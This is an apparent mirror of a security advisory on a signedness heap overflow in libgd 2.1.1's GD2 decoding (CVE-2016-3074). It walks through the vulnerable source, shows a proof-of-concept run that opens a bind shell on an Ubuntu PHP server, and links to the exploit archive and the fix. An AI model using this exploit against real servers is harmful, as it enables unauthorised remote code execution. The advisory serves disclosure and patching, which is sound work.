Libgd 2.1.1 - Signedness Heap Overflow
Posted on 30 November -0001
<HTML><HEAD><TITLE>libgd 2.1.1 - Signedness Heap Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Overview ======== libgd [1] is an open-source image library. It is perhaps primarily used by the PHP project. It has been bundled with the default installation of PHP since version 4.3 [2]. A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which may result in a heap overflow when processing compressed gd2 data. Details ======= 4 bytes representing the chunk index size is stored in a signed integer, chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers: libgd-2.1.1/src/gd_gd2.c: ,---- | 53 typedef struct { | 54 int offset; | 55 int size; | 56 } | 57 t_chunk_info; `---- libgd-2.1.1/src/gd_gd2.c: ,---- | 65 static int | 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy, | 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy, | 68 t_chunk_info ** chunkIdx) | 69 { | ... | 73 t_chunk_info *cidx; | ... | 155 if (gd2_compressed (*fmt)) { | ... | 163 for (i = 0; i < nc; i++) { | ... | 167 if (gdGetInt (&cidx[i].size, in) != 1) { | 168 goto fail2; | 169 }; | 170 }; | 171 *chunkIdx = cidx; | 172 }; | ... | 181 } `---- `gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then allocates memory for the compressed data based on the value of the largest chunk size: libgd-2.1.1/src/gd_gd2.c: ,---- | 371|637 if (gd2_compressed (fmt)) { | 372|638 /* Find the maximum compressed chunk size. */ | 373|639 compMax = 0; | 374|640 for (i = 0; (i < nc); i++) { | 375|641 if (chunkIdx[i].size > compMax) { | 376|642 compMax = chunkIdx[i].size; | 377|643 }; | 378|644 }; | 379|645 compMax++; | ...|... | 387|656 compBuf = gdCalloc (compMax, 1); | ...|... | 393|661 }; `---- A size of <= 0 results in `compMax' retaining its initial value during the loop, followed by it being incremented to 1. Since `compMax' is used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation for `compBuf'. This is followed by compressed data being read to `compBuf' based on the current (potentially negative) chunk size: libgd-2.1.1/src/gd_gd2.c: ,---- | 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in) | 340 { | ... | 413 if (gd2_compressed (fmt)) { | 414 | 415 chunkLen = chunkMax; | 416 | 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset, | 418 compBuf, | 419 chunkIdx[chunkNum].size, | 420 (char *) chunkBuf, &chunkLen, in)) { | 421 GD2_DBG (printf ("Error reading comproessed chunk ")); | 422 goto fail; | 423 }; | 424 | 425 chunkPos = 0; | 426 }; | ... | 501 } `---- libgd-2.1.1/src/gd_gd2.c: ,---- | 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h) | 586 { | ... | 713 if (!gd2_compressed (fmt)) { | ... | 731 } else { | 732 chunkNum = cx + cy * ncx; | 733 | 734 chunkLen = chunkMax; | 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset, | 736 compBuf, | 737 chunkIdx[chunkNum].size, | 738 (char *) chunkBuf, &chunkLen, in)) { | 739 printf ("Error reading comproessed chunk "); | 740 goto fail2; | 741 }; | ... | 746 }; | ... | 815 } `---- The size is subsequently interpreted as a size_t by `fread()' or `memcpy()', depending on how the image is read: libgd-2.1.1/src/gd_gd2.c: ,---- | 221 static int | 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf, | 223 uLongf * chunkLen, gdIOCtx * in) | 224 { | ... | 236 if (gdGetBuf (compBuf, compSize, in) != compSize) { | 237 return FALSE; | 238 }; | ... | 251 } `---- libgd-2.1.1/src/gd_io.c: ,---- | 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx) | 212 { | 213 return (ctx->getBuf)(ctx, buf, size); | 214 } `---- For file contexts: libgd-2.1.1/src/gd_io_file.c: ,---- | 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f) | 53 { | ... | 67 ctx->ctx.getBuf = fileGetbuf; | ... | 76 } | ... | 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size) | 93 { | 94 fileIOCtx *fctx; | 95 fctx = (fileIOCtx *)ctx; | 96 | 97 return (fread(buf, 1, size, fctx->f)); | 98 } `---- And for dynamic contexts: libgd-2.1.1/src/gd_io_dp.c: ,---- | 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag) | 75 { | ... | 95 ctx->ctx.getBuf = dynamicGetbuf; | ... | 104 } | ... | 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len) | 257 { | ... | 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen); | ... | 284 } `---- PoC === Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]: ,---- | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php | [*] this may take a while | [*] offset 912 of 10000... | [+] connected to 1.2.3.4:5555 | id | uid=33(www-data) gid=33(www-data) groups=33(www-data) | | uname -a | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC | 2016 x86_64 x86_64 x86_64 GNU/Linux | | dpkg -l|grep -E "php5-(fpm|gd)" | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ... | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ... | | cat upload.php | <?php | imagecreatefromgd2($_FILES["file"]["tmp_name"]); | ?> `---- Solution ======== This bug has been fixed in git HEAD [4]. Full Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39736.zip Footnotes _________ [1] [http://libgd.org/] [2] [https://en.wikipedia.org/wiki/Libgd] [3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074] [4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19] </BODY></HTML>
